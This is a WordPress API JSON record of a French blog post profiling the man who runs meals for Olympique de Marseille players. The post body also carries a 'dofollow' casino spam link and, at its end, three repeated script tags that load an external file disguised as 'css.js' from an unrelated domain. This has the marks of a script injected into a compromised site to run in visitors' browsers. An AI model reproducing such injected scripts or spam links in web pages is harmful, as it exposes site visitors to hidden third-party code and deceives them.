{"id":3915,"date":"2025-11-20T03:47:49","date_gmt":"2025-11-20T03:47:49","guid":{"rendered":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/?p=3915"},"modified":"2026-02-02T22:12:08","modified_gmt":"2026-02-02T22:12:08","slug":"om-des-burgers-et-des-pizzas-pour-les-joueurs-de-lom-apres-les-matchs-mais-pas-nimporte-lesquels","status":"publish","type":"post","link":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/2025\/11\/20\/om-des-burgers-et-des-pizzas-pour-les-joueurs-de-lom-apres-les-matchs-mais-pas-nimporte-lesquels\/","title":{"rendered":"OM &#8211; des burgers et des pizzas pour les joueurs de l&#x27;OM apr\u00e8s les matchs, mais pas n&#x27;importe lesquels&#8230;"},"content":{"rendered":"<h1>OM &#8211; des burgers et des pizzas pour les joueurs de l&#x27;OM apr\u00e8s les matchs, mais pas n&#x27;importe lesquels&#8230;<\/h1>\n<p>Arriv\u00e9 le 1er ao\u00fbt 2025 \u00e0 la t\u00eate de la restauration de l\u2019\u00e9quipe professionnelle, <strong>Amar Lacidi<\/strong> s\u2019est rapidement impos\u00e9 comme une figure discr\u00e8te mais essentielle du quotidien olympien. Il se d\u00e9voile \u00e0 l&#x27;occasion d&#x27;un portrait sur le site <em>mesinfos.fr<\/em>. Pass\u00e9 par le monde associatif et m\u00e9dico-social, il a int\u00e9gr\u00e9 le club via Api Restauration, prestataire d\u00e9j\u00e0 en charge de la restauration du PSG. \u00c0 La Commanderie, son r\u00f4le est clair : superviser repas, \u00e9quipes et approvisionnements pour que rien ne soit laiss\u00e9 au hasard.<\/p>\n<blockquote><p><strong><a href=\"https:\/\/casino-trouville-fr.com\/casino-trouville-prime\/\" target=\"_blank\" rel=\"dofollow\">casino trouville Prime<\/a><\/strong> &#8211; Vous vous demandez si le Casino Trouville offre des primes int\u00e9ressantes pour maximiser votre exp\u00e9rience de jeu\u202f? Est-ce que ses promotions sont vraiment<\/p><\/blockquote>\n<h2>Des repas calibr\u00e9s pour la performance<\/h2>\n<p>Chaque jour, entre 50 et 70 repas sont servis pour les joueurs, le staff et les salari\u00e9s. Menus affich\u00e9s \u00e0 l\u2019avance, \u00e9quilibre nutritionnel, gestion des prot\u00e9ines et des apports sp\u00e9cifiques : rien n\u2019\u00e9chappe \u00e0 Amar. Les jours de match, collations adapt\u00e9es et repas de r\u00e9cup\u00e9ration compl\u00e8tent un suivi pr\u00e9cis. Une exigence qui va jusqu\u2019aux d\u00e9placements europ\u00e9ens, o\u00f9 il inspecte les h\u00f4tels avant l\u2019arriv\u00e9e du groupe.<\/p>\n<h2>Entre rigueur et innovation culinaire<\/h2>\n<p>Si l\u2019organisation est millim\u00e9tr\u00e9e, l\u2019ouverture aux nouveaut\u00e9s reste essentielle. Avec l\u2019appui d\u2019un nutritionniste, Amar privil\u00e9gie les produits locaux, comme r\u00e9cemment les shots au gingembre de l\u2019entreprise marseillaise <strong>Cosmos<\/strong>, pl\u00e9biscit\u00e9s par les joueurs. Son approche : combiner exigence, plaisir et identit\u00e9 marseillaise, tout en restant attentif aux besoins sp\u00e9cifiques du vestiaire.<\/p>\n<h2>Un m\u00e9tier d\u2019ombre, une passion en lumi\u00e8re<\/h2>\n<p>Ancien abonn\u00e9 du V\u00e9lodrome chez les South Winners, Amar mesure la chance de vivre son m\u00e9tier au service de son club de c\u0153ur. Des barbecues conviviaux de fin de saison aux repas pr\u00e9par\u00e9s pour les idoles de toute une ville, il garde le cap : professionnalisme et humilit\u00e9. Indispensable mais effac\u00e9, il incarne l\u2019importance des m\u00e9tiers de l\u2019ombre dans la r\u00e9ussite d\u2019une grande institution sportive comme l\u2019OM. Non content de superviser la nourriture des joueurs en d\u00e9placement et lors des mises au vert, il va faire les d\u00e9placements europ\u00e9ens pour s&#x27;assurer que tout soit nickel dans les h\u00f4tels o\u00f9 le club va s\u00e9journer. Concernant les habitudes des jours de match,\u00a0les joueurs re\u00e7oivent une collation environ trois heures avant le coup d\u2019envoi. Au menu : un brunch riche en prot\u00e9ines, accompagn\u00e9 de sucre roux, de fibres et de bons lipides. Apr\u00e8s la rencontre, une note plus conviviale est pr\u00e9vue, avec des pizzas ou des burgers maison, soigneusement pr\u00e9par\u00e9s pour rester \u00e9quilibr\u00e9s. <em>&quot;On appelle \u00e7a de la junk food healthy&quot;<\/em>, explique-t-il. Toutefois, depuis le d\u00e9but de la saison, ces plats n\u2019ont pas encore \u00e9t\u00e9 propos\u00e9s, en raison de l\u2019encha\u00eenement des matchs. En parall\u00e8le, un atelier p\u00e2tes est organis\u00e9 quotidiennement, \u00e0 la demande expresse de l\u2019entra\u00eeneur italien et de son staff.<\/p>\n<p><script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OM &#8211; des burgers et des pizzas pour les joueurs de l&#x27;OM apr\u00e8s les matchs, mais pas n&#x27;importe lesquels&#8230; Arriv\u00e9 le 1er ao\u00fbt 2025 \u00e0 la t\u00eate de la restauration&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":{"0":"post-3915","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-cassino"},"_links":{"self":[{"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/posts\/3915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/comments?post=3915"}],"version-history":[{"count":4,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/posts\/3915\/revisions"}],"predecessor-version":[{"id":14913,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/posts\/3915\/revisions\/14913"}],"wp:attachment":[{"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/media?parent=3915"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/categories?post=3915"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devu02.testdevlink.net\/Urban_Customs\/wp-json\/wp\/v2\/tags?post=3915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}